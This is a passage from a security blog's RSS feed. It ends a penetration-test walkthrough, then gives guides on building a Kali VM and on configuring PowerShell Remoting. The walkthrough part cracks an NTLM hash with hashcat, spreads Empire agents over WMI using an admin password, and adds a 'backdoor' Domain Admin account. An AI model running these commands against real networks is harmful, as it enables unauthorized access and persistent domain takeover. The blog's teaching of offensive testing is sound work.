<p>The above password was entered into hashcat and was cracked with the d3adhob0.rule in about 10 seconds. The command I used was;</p>
<pre><code>hashcat -m1000 -a0 -r ./rules/d3adhob0.rule 78BDD374A1C5A25E389AC7B530A0A5E4 ./wordlists/rockyou.txt
</code></pre>
<h2 id="lateralmovement">Lateral Movement</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=15m12s">Watch Lateral Movement</a></p>
<p>We now have an administrative password at our disposal, firstly we need to move away from the SQL server and gain a foothold on more servers joined to the domain.</p>
<p>This technique is great for when you have an administrative credential and you are unsure which servers it is allowed to access. Spraying the environment in this way is noisier and you will attract attention from network monitoring. But can yield in a quicker progression across the environment.</p>
<p>There are a few modules to help with lateral movement in Empire, I personally love <a href="https://glanfield.co.uk/enabling-powershell-remoting/">PowerShell Remoting</a> but find not many environments have it enabled. So I tend to opt for the legacy WMI module, as WMI is more likely to be enabled.</p>
<p>So to use WMI to we can use the module like this, the credentials are optional if they are not set the module is run as the agents current user;</p>
<pre><code>usemodule lateral_movement/invoke_wmi
set Listener main
set ComputerName 192.168.1.1,192.168.1.20
set UserName DEMO\Administrator
set Password Password1$
execute
</code></pre>
<p>This will now connect to each server in the comma separated list and deploy an agent if administrative privileges are held.</p>
<h2 id="persistence">Persistence</h2>
<p><a href="https://youtu.be/hyHLUV79KEs?t=19m7s">Watch Persistence</a></p>
<p>We now have an agent on every server for the domain including a domain controller. Next step is to create an administrative account to keep our access to the domain.</p>
<p>In the video you will see me briefly explain about the module <code>persistence/misc/add_netuser</code> I struggled to get this working, so fall-back to shell commands to get the account created instead.</p>
<p>To create a new &apos;Domain Admin&apos; we can run 2 commands using the <code>shell</code> command, while interacting with an agent that is using the <em>Administrator</em> account we issue the commands;</p>
<pre><code>shell net user backdoor Password1! /ADD /DOMAIN
shell net group &quot;Domain Admins&quot; backdoor /ADD /DOMAIN
</code></pre>
<p>You now have an &apos;Domain Admin&apos; account to access the domain freely when we need to.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Thanks for reading all the way down to the bottom, hopefully you learnt something new and found it informative. Any questions please reach out to me.</p>
<p>Here is a thought, what else could have you done if the web service was not vulnerable to SQLi?</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Setting up Kali as a VM]]></title><description><![CDATA[This will guide you through how I setup Kali as a VM and hopefully give you a some good ideas to think on in the process.]]></description><link>https://glanfield.co.uk/setting-up-kali-as-a-vm/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd3</guid><category><![CDATA[Kali]]></category><category><![CDATA[Virtual Machine]]></category><category><![CDATA[VMware]]></category><category><![CDATA[VMware Workstation]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Mon, 10 Oct 2016 11:11:00 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2017/08/kali-header.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="preamble">Preamble</h2>
<img src="https://glanfield.co.uk/content/images/2017/08/kali-header.jpg" alt="Setting up Kali as a VM"><p>This article assumes you have some knowledge of virtual machines and have <a href="https://www.vmware.com/products/workstation.html">VMware Workstation</a> installed. Visit <a href="https://www.kali.org/downloads/">https://www.kali.org/downloads/</a> and download the latest 64-bit ISO image as you will need this.</p>
<p>For me I always run Kali as a VM with an <a href="https://www.amazon.co.uk/dp/B00PC0J1VC">Anker USB adapter</a> for my networking. I find bridge and NAT adapters on the VM very slow when performing port scans or other pen test work, for a lab this is not so noticeable.</p>
<p>I use persistent and non-persistent disks on my VM, this allows me to keep my Kali VM always functioning as I expected and no nasty surprises on test day. If I need to update Kali I enable persistence and update, if all appears well I update the snapshot and re-enable non-persistence again.</p>
<h2 id="specingupthevm">Spec&apos;ing up the VM</h2>
<p>With the RAM and CPU, I always go to 50% of my host machine, so in my case this will be 2 CPUs and 8GB of RAM. This should give your VM a good feel and make it very workable.</p>
<p>I use 3 virtual disks, as per the following example;</p>
<ul>
<li>60GB for the primary</li>
<li>20GB for tools, will be assigned to <strong>/opt</strong></li>
<li>20GB for home, will be assigned to <strong>/root</strong></li>
</ul>
<h2 id="configuringthevm">Configuring the VM</h2>
<p>Launch the <strong>New Virtual Machine</strong> wizard, I always select custom and then ensure that <strong>I will install the operating system later</strong> so I don&apos;t get any of the automated install process from VMware Workstation.</p>
<p>When prompted select <strong>Linux</strong> as the OS and select <strong>Debian 8.x 64-bit</strong> from the drop down menu. The next step will ask you to give your VM a name, select something that suits you and click Next.</p>
<p>For the CPU I always keep the <strong>Number of processors</strong> as 1 and the <strong>Number of cores per processor</strong> to 2, if 2 CPUs is what you want to assign. I find this gives me the best performance from experience. The next page will ask you for the amount RAM you wish to allocate in my case this is 8GB.</p>
<p>Select the type of networking you wish to use and ensure the OS disk is set to 60GB. Click next accepting defaults for the rest of the wizard.</p>
<p>Create the 2 additional virtual disks at 20GB and ensure that you set the options as per the below image;<br>
<img src="https://glanfield.co.uk/content/images/2016/10/persistent-disk-vmware.PNG" alt="Setting up Kali as a VM" loading="lazy"></p>
<p>Do not alter the configuration for the primary virtual disk at this stage or you will lose the installation.</p>
<h2 id="installingkali">Installing Kali</h2>
<p>Boot the VM from the downloaded ISO and select <strong>Graphical Install</strong> from the boot menu. Proceed through the installation select your preferred language, hostname and root password.</p>
<p>At the partition disks stage of the installation, ensure you select <strong>Guided use entire disk</strong> and proceed. For the entire disk ensure you select the 60GB disk which should be the first on the list. At the next stage select <strong>Separate /home partition</strong> and proceed.</p>
<p>On the <strong>Partition disks</strong> page select the next 20GB disk and click <strong>Continue</strong>, select yes to creating a partition table and you will return back to the partition disks page, repeat for the other disk.</p>
<p>Click on the <strong>FREE SPACE</strong> and <strong>Continue</strong>, then at the next page select the option <strong>Mount Point</strong> set click <strong>Continue</strong> and you will be asked which location to mount. I set the first 20GB disk to <strong>/opt</strong> which will be all my custom tools not included with Kali and the second disk as <strong>/root</strong>.</p>
<p>Kali does not have a standard user everything is run as root, so I remove the home partition and setup a bigger swap space to help with long running tools, here is my final result;<br>
<img src="https://glanfield.co.uk/content/images/2016/10/partition-table-kali-setup.PNG" alt="Setting up Kali as a VM" loading="lazy"></p>
<p>Having configured the disks in this way and later when you change the primary disk to non-persistent, means each time I revert to snapshot I can get a clean build again. However as my <strong>/opt</strong> and <strong>/root</strong> is on a persistent disk then none of my custom tools and outputs are lost (assuming you save your tools and output files in this way).</p>
<p>Proceed with the install of Kali as per the normal default options to completion.</p>
<p><strong>Note:</strong> you might not have network mirror selected by default ensure it is selected when prompted. Else you won&apos;t be able to install new packages or update/upgrade. If you missed this you can add it after install by following this guide <a href="http://docs.kali.org/faq/kali-sources-list-faq">http://docs.kali.org/faq/kali-sources-list-faq</a> .</p>
<h2 id="configuringkali">Configuring Kali</h2>
<p>Now that you have Kali installed, you need to login and get a few essentials installed.</p>
<p>Firstly you need to update and upgrade any existing packages in place, then finally update the distribution itself if needed, run the following command from the terminal;<br>
<code>apt update &amp;&amp; apt upgrade &amp;&amp; apt dist-upgrade</code></p>
<p>I found many updates were required after a fresh install, it appears the ISO image on the website is not updated often.</p>
<p>As we are running this as a VM we need to install the VM tools so we can copy and paste, also resize the screen correctly;<br>
<code>apt install open-vm-tools open-vm-tools-desktop</code><br><br>
Log out and in again for the tools to take affect.</p>
<p>Then the final thing I do before setting my VMs primary disk to non-persistent is to pre-stage the database for Metasploit framework.</p>
<p>First you need to start the <strong>postgresql</strong> service as with Kali all network services are stopped by default;<br>
<code>service postgresql start</code></p>
<p>Then you need to tell Metasploit to build the database;<br>
<code>msfdb init</code></p>
<h2 id="completion">Completion</h2>
<p>Now that is all done you can gracefully shutdown your Kali VM and set it to non-persistent.<br>
First you need to set the disk to be non-persistent, creating a snapshot before setting the disk to non-persistent will mean you can not alter the disk so ensure you do it the right way around.</p>
<p>To set non-persistent complete the following;</p>
<ul>
<li>Edit the VM settings</li>
<li>Click on the primary virtual disk</li>
<li>Click on <strong>Advanced</strong></li>
<li>Ensure you have a tick in <strong>Independent</strong></li>
<li>Ensure that the radio option is set to <strong>Nonpersistent</strong></li>
<li>Click <strong>OK</strong> and then <strong>OK</strong> again to save your changes</li>
</ul>
<p><img src="https://glanfield.co.uk/content/images/2016/10/set-primary-virtual-disk-to-non-persistent.PNG" alt="Setting up Kali as a VM" loading="lazy"></p>
<p><em><strong>Before powering backup your VM</strong></em> take a snap shot I always place a date in the snapshot name myself so I can see how out dated my Kali VM is, I try to update it once a week.</p>
<p>Optionally you can now set under the <strong>Options</strong> tab in settings to be revert to snapshot after power off. This would see your Kali VM restored to base build each time you power off the VM. As the 2 additional disks are persistent they would have no data removed during the process. I always leave this option set to <strong>Revert to snapshot</strong> as I like to have a clean Kali build for each test I perform. You have to power off the VM for it to revert so don&apos;t worry if you need to reboot.</p>
<p>You now have a configured and ready to use a Kali VM, at anytime you feel Kali is requiring a kick you can click revert to previous snapshot and all will be restored to a base build with a clean state. Or if you set the optional setting mentioned earlier simply power off the VM.</p>
<p>There are many ways to setup a VM and Kali, this is just the way I do it and thought it would be useful to share.<br>
Always interested to hear from people and their views, thanks for reading.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Workgroup PowerShell Remoting]]></title><description><![CDATA[In this post I will guide you through the various options available to you for enabling PowerShell Remoting on a workgroup/standalone computer.]]></description><link>https://glanfield.co.uk/workgroup-powershell-remoting/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd2</guid><category><![CDATA[PowerShell Remoting]]></category><category><![CDATA[PowerShell]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Tue, 13 Sep 2016 10:53:19 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2017/08/workgroup-powershell-remoting.PNG" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="introduction">Introduction</h2>
<img src="https://glanfield.co.uk/content/images/2017/08/workgroup-powershell-remoting.PNG" alt="Workgroup PowerShell Remoting"><p>If you haven&apos;t yet read my blog post on <a href="https://glanfield.co.uk/enabling-powershell-remoting">enabling PowerShell Remoting</a> I would give that a read over first, this will give you some further background information into PowerShell Remoting. I won&apos;t be covering how to enable PowerShell Remoting in this post again, this will demonstrate how to configure a workgroup computer to work with PowerShell Remoting.</p>
<p>It also guides you through a set of instructions on how to secure PowerShell Remoting, which ensures settings such as unencrypted communication are enforced to be off.</p>
<p>In this post I will guide you through the various options available to you for enabling PowerShell Remoting on a workgroup/standalone computer.</p>
<h2 id="isusingsslrequired">Is using SSL required?</h2>
<p>Some guides I have seen simply add your remote machine to your trusted hosts, the problem with this is that it disables the mutual authentication. This can be dangerous if you are Remoting over the internet as you are unable to verify the endpoint you are connecting to is indeed the one you intended.</p>
<p>For local LAN Remoting, it&apos;s a moot point in my view. Ensuring you have mutual authentication in place is a good thing to ensure you have no man in the middle (MITM) attacks, however this presents a low risk.</p>
<p>Setting up an entire group of workgroup servers to use HTTPS would be cumbersome and the effort out weighs the risks. Don&apos;t forget that all traffic over the HTTP protocol is still encrypted, you have just lost the ability of mutual authentication.</p>
<p>My personal view is that I would always look to enable HTTPS Remoting as it adds that further layer of protection.</p>
<h2 id="configuringtrustedhostsforremoting">Configuring TrustedHosts for Remoting</h2>
<p>Ok so lets first look at how we setup Remoting using trusted hosts, again I can&apos;t state enough to follow my previous guide on how to harden PowerShell Remoting first.</p>
<p>Firstly on our admin machine, the machine you wish to remote <em>from</em> you will need to launch an administrative PowerShell window.<br>
Now if you issue the command;</p>
<pre><code class="language-powershell">Get-Item WSMan:\localhost\Client\TrustedHosts</code></pre>
<p>You should hopefully be given a table of results with the <em>Value</em> column being empty.</p>
<p>To add a trusted host you can either place a * or IP address/hostname, placing a * will trust all hosts you connect to. I would recommend adding in the host you are looking to trust.<br>
To trust a host you now issue the following command;</p>
<pre><code class="language-powershell">Set-Item WSMan:\localhost\Client\TrustedHosts RemoteMachine</code></pre>
<p>This will now trust PowerShell Remoting connections to <em>RemoteMachine</em>.<br>
You have now configured using TrustedHosts for workgroup Remoting.</p>
<h2 id="configuringhttpsforremoting">Configuring HTTPS for Remoting</h2>
<p>This is slightly more complicated but my preferred option, as it presents the best security for workgroup Remoting.</p>
<p>Firstly you will need a valid certificate for this to be made possible, luckily starting from Windows 2012/8 you can complete this by creating a self signed certificate.</p>
<p>This script below will configure PowerShell Remoting using HTTPS, remove listeners for HTTP and export the certificate in use ready for you to import to an administering computer.</p>
<pre><code class="language-powershell"># Generate a new self signed certificate
$RCert = New-SelfSignedCertificate -CertStoreLocation Cert:\LocalMachine\My\ -DnsName RemoteMachine, RemoteMachine.example.com, &apos;192.168.1.1&apos;

# Export the generated certificate to the desktop
Export-Certificate -Cert $RCert -FilePath (Join-Path $env:USERPROFILE &apos;Desktop\RemotingCert&apos;)

# Enable PowerShell Remoting
Enable-PSRemoting -SkipNetworkProfileCheck -Force

# Get all the listeners for WSMAN that are using HTTP and remove them to stop HTTP connections
Get-ChildItem WSMan:\Localhost\listener | Where -Property Keys -eq &apos;Transport=HTTP&apos; | Remove-Item -Recurse

# Add in the newly created certificates thumbprint to enable a listener on HTTPS
New-Item -Path WSMan:\LocalHost\Listener -Transport HTTPS -Address * -CertificateThumbPrint $RCert.Thumbprint &#x2013;Force

# Allow remote incoming connections on 5986
New-NetFirewallRule -DisplayName &apos;WinRM (HTTPS-In)&apos; -Name &apos;WinRM (HTTPS-In)&apos; -Profile Any -LocalPort 5986 -Protocol TCP
</code></pre>
<p>The <em>DnsName</em> parameter is important as it should have a comma separated list of your hostnames/IPs that will be used for connection.</p>
<p>All that is left to do is import the exported certificate to your administrative computer;</p>
<pre><code class="language-powershell">Import-Certificate -Filepath &apos;C:\RemotingCert&apos; -CertStoreLocation &apos;Cert:\LocalMachine\Root&apos;</code></pre>
<p>Once imported your machine now can trust the remote certificate presented and mutual authentication can take place.</p>
<h2 id="enteringaremotesession">Entering a Remote Session</h2>
<p>Depending on the configuration you chose to use you can enter a remote PowerShell session by either using HTTPS (SSL) or not.</p>
<h3 id="usinghttp">Using HTTP</h3>
<pre><code class="language-powershell">Enter-PSSession -ComputerName RemoteMachine -Credential (Get-Credential)</code></pre>
<h3 id="usinghttps">Using HTTPS</h3>
<pre><code class="language-powershell">Enter-PSSession -ComputerName RemoteMachine -UseSSL -Credential (Get-Credential)</code></pre>
<p>You will be prompted to enter your username and password for the remote machine, if all is working you should be presented with a remote shell.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Enabling PowerShell Remoting]]></title><description><![CDATA[<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>Many people I work with will tell you how much I love PowerShell, I have been working with PowerShell since version 1 and it has become a key asset to my daily working life.</p>
<p>My first large script (around 5000 lines of code!) was built with many WMI calls</p>]]></description><link>https://glanfield.co.uk/enabling-powershell-remoting/</link><guid isPermaLink="false">5e80f63bac920d0001dc0cd1</guid><category><![CDATA[PowerShell Remoting]]></category><category><![CDATA[PowerShell]]></category><dc:creator><![CDATA[Liam Glanfield]]></dc:creator><pubDate>Mon, 07 Dec 2015 19:22:00 GMT</pubDate><media:content url="https://glanfield.co.uk/content/images/2017/08/EnablingPowerShellRemotingHeader-1-1.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<img src="https://glanfield.co.uk/content/images/2017/08/EnablingPowerShellRemotingHeader-1-1.png" alt="Enabling PowerShell Remoting"><p>Many people I work with will tell you how much I love PowerShell, I have been working with PowerShell since version 1 and it has become a key asset to my daily working life.</p>
<p>My first large script (around 5000 lines of code!) was built with many WMI calls and using a list of servers from Active Directory (AD) processed one by one. This worked great for about 10 servers, however 300 proved slow. So implemented mutli threading to allow multiple servers to be processed at once, this made the script acceptable and I was happy with it.</p>
<p>Fast forward a couple of years. I am now working with different and larger environments with servers in the thousands not hundreds. My script has become error ridden and slow (WMI timeouts etc.), due to the larger number of servers and many networking hurdles presented by <a href="https://support.microsoft.com/en-us/kb/832017">RPC dynamic ports</a>. This all adding to the script that was taking as much as 4-6 hours to run.</p>
<p>This is when PowerShell remoting becomes useful.<br><br>
<em>But&#x2026;</em> Always a but!<br><br>
Natively most environments are not ready for PowerShell remoting, so how do you get yourself up and running with PowerShell remoting? What are the risks? What are the benefits?</p>
<h2 id="implementingpowershellremoting">Implementing PowerShell Remoting</h2>
<p>First of all the PowerShell version must be 2 or higher. This is supported on the following operating systems;</p>
<ul>
<li>Windows Server 2003 (R2) SP2 or Windows XP SP3</li>
<li>Windows Server 2008 SP2 or Windows Vista SP2</li>
</ul>
<p>Starting from Windows 7 or Windows Server 2008 R2, PowerShell version 2 or higher is always included with the OS.</p>
<p>You can deploy PowerShell version 2 via WSUS or manually, the KB article is here <a href="https://support.microsoft.com/en-us/kb/968929">https://support.microsoft.com/en-us/kb/968929</a>.</p>
<p>This post is all about computers joined to an AD domain, however you can include workgroup machines such as Exchange edge transport servers in the DMZ for example, I will cover <a href="https://glanfield.co.uk/workgroup-powershell-remoting/">workgroup PowerShell Remoting</a> in a later post.</p>
<h3 id="singlemachinemanualsetup">Single Machine Manual Setup</h3>
<ol>
<li>Ensure you have the above KB installed if you are running anything less than 2008 R2 or Windows 7</li>
<li>Launch an administrative PowerShell window</li>
<li>At the command prompt enter Enable-PSRemoting -Force</li>
</ol>
<p>That&#x2019;s it after you have answered the few questions that prompt you with yes (Y) then the machine should be configured.</p>
<h3 id="usinggrouppolicy">Using Group Policy</h3>
<p>Now repeating the above for all your Windows client and server devices would be very boring and cumbersome to manage. However thankfully you can enable PowerShell Remoting using a group policy.</p>
<p>You will need;</p>
<ul>
<li>Windows Server 2008 R2/Windows 7 or higher</li>
<li>Group Policy Manager installed</li>
</ul>
<p>Ok now the configuration;</p>
<ol>
<li>Logon to your chosen management computer</li>
<li>Launch Group Policy Manager</li>
<li>Edit your chosen policy or create a new one</li>
<li>Navigate to the following tree path Computer Configuration -&gt; Windows Settings -&gt; Security Settings -&gt; System Services</li>
<li>Find the service named Windows Remote Management (WS-Management) and set it to Automatic ensure you leave the security configuration untouched</li>
<li>Navigate to the following tree path Computer Configuration -&gt; Administrative Templates -&gt; Windows Components</li>
<li>Under Windows Components locate the sub tree item named Windows Remote Management (WinRM) and click on the sub tree named WinRM Service</li>
<li>In the right hand pane select the setting named Allow remote server managment through WinRM</li>
</ol>
<p>Configure it as shown below, for demonstration purposes I have placed a star in the <strong>IPv4 Filter</strong> box this will mean all network adapters will listen for remote requests, however I recommend defining your internal subnet</p>
<p><img src="https://glanfield.co.uk/content/images/2016/09/upload-521455771.jpeg" alt="Enabling PowerShell Remoting" loading="lazy"></p>
<h3 id="networkconfiguration">Network Configuration</h3>
<p>For domain joined computers the only port you need to worry about is TCP 5985, this is the HTTP port however this does not mean it is not encrypted. The traffic is encrypted on this port. As Kerberos is used to authenticate you and protect your session. TCP 5986 is the HTTPS port but I will cover this as part of the workgroup post.</p>
<p>You need to ensure that the TCP port 5985 is accessible from your management server to the server you wish to remotely manage.</p>
<p>Unlike WMI that is all the ports you need opened, simples.</p>
<h2 id="usingpowershellremoting">Using PowerShell Remoting</h2>
<p>I will type up a more in-depth post on this but for now, we will do a simple 1 to 1 PowerShell remote session.</p>
<p>At a PowerShell window on your management computer, simply type <strong>Enter-PSSession HOSTNAME</strong>, of course replacing <strong>HOSTNAME</strong> with your remote computers name. If successful, you will now be presented with a remote session signified with the hostname prefixing the prompt.</p>
<p>This is very similar to using SSH to get a remote prompt on a Linux based machine and just as secure.</p>
<h2 id="therisks">The Risks</h2>
<p>Ok this all sounds straight forward so far, what are the risks?</p>
<p>Well not a lot really, many Microsoft and non-Microsoft applications and infrastructure services are making use of this technology. Take Citrix for example, it uses wsman which is the same method that PowerShell remoting uses.</p>
<p>I haven&#x2019;t found any significant risks with PowerShell remoting, most are which all attribute to the fact an administrator has enabled Cred SSP or enabled trusted hosts. If left at default settings PowerShell remoting is designed to be secure from the word go.</p>
<p>Let me put this quote from an article on the <a href="http://digital-forensics.sans.org/blog/2013/09/03/the-power-of-powershell-remoting">SANS blog</a> to you;</p>
<blockquote>
<p>If you allow administrators to remote desktop into Windows hosts in your environment, then you should allow, and even encourage, PowerShell Remoting as an alternative since it does a better job of protecting domain credentials by avoiding interactive logons and delegation tokens.</p>
</blockquote>
<h2 id="benefitsofremoting">Benefits of Remoting</h2>
<p>PowerShell Remoting is not just for servers it&#x2019;s for your client devices to.</p>
<p>The biggest benefit for PowerShell Remoting is the ability to quickly process a command across your estate and collect the information quickly and efficiently.</p>
<p>Take an example you need to identify non-managed Symantec antivirus clients on all desktops, using PowerShell remoting could see you having that very answer in your lap within minutes not hours or even days!</p>
<h2 id="wrapup">Wrap Up</h2>
<p>This is my first post on here and something I have a great deal of passion for. I am hoping to produce more somewhat helpful documents like this. Although I struggled with the web based editor to write this up, I hope the big wall of text is broken down enough to make it readable.</p>
<p>PowerShell remoting is an absolute must with the direction Microsoft are taking their products in, not learning how to utilise it can see you spending countless man hours doing a manual task when there is no need.</p>
<p>My next post I will go through some examples of how you can use PowerShell Remoting for practical day to day tasks.</p>
<p>I would be interested to hear your thoughts, comments or PowerShell questions you have; I hope you found this useful, thanks for reading.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>